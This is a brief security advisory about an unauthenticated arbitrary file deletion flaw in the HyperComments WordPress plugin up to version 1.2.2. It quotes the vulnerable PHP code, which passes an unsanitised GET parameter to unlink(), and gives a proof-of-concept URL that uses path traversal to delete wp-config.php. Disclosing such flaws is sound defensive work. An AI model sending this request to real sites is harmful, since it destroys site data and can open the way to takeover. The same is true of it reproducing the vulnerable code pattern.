HyperComments <= 1.2.2 - Unauthenticated Arbitrary File Deletion

The plugin does not validate and sanitise user input which is being concatenated to create a file path, passed to unlink(), which leads to an arbitrary file deletion issue.

For more details about this issue, please see the reference.

File: hypercomments/hypercomments.php:112

$filename = dirname(dirname(dirname(__FILE__))).'/uploads/'.$_GET['xml'];
unlink($filename);


https://example.com/?hc_action=delete_xml&result=success&xml=../../wp-config.php